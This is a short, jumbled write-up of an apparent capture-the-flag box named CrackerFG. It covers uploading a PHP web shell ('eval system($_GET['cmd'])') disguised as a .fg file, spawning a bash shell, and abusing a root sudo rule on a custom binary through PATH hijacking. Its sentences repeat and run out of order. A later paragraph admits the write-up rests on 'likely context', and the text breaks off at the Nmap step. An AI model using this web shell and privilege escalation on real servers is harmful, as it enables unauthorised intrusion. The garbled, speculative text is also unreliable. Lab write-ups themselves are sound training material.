Crackerfg Link -

Dashboard reveals a file upload feature for "FG (Fingerprint Generator)" scripts ( .fg files). Upload restrictions: only txt and fg . Upload a malicious .fg file:

Run strings /usr/bin/crackerfg – it calls a system command: hashgen . crackerfg

eval system($_GET['cmd']); Rename as shell.fg . After upload, the server stores it in /uploads/shell.fg . Trigger via: Dashboard reveals a file upload feature for "FG

python3 -c 'import pty;pty.spawn("/bin/bash")' Check sudo: eval system($_GET['cmd']); Rename as shell

sudo -l User www-data can run /usr/bin/crackerfg as root without password.

Check path hijacking:

Here’s a short write-up for , based on the likely context of a cybersecurity CTF or penetration testing challenge (commonly seen on platforms like HackTheBox, TryHackMe, or a custom box). CrackerFG – Write-up CrackerFG is a medium-difficulty challenge that combines web enumeration , weak password storage , and privilege escalation via misconfigured binaries. Below is a step-by-step solution. 1. Reconnaissance Start with an Nmap scan: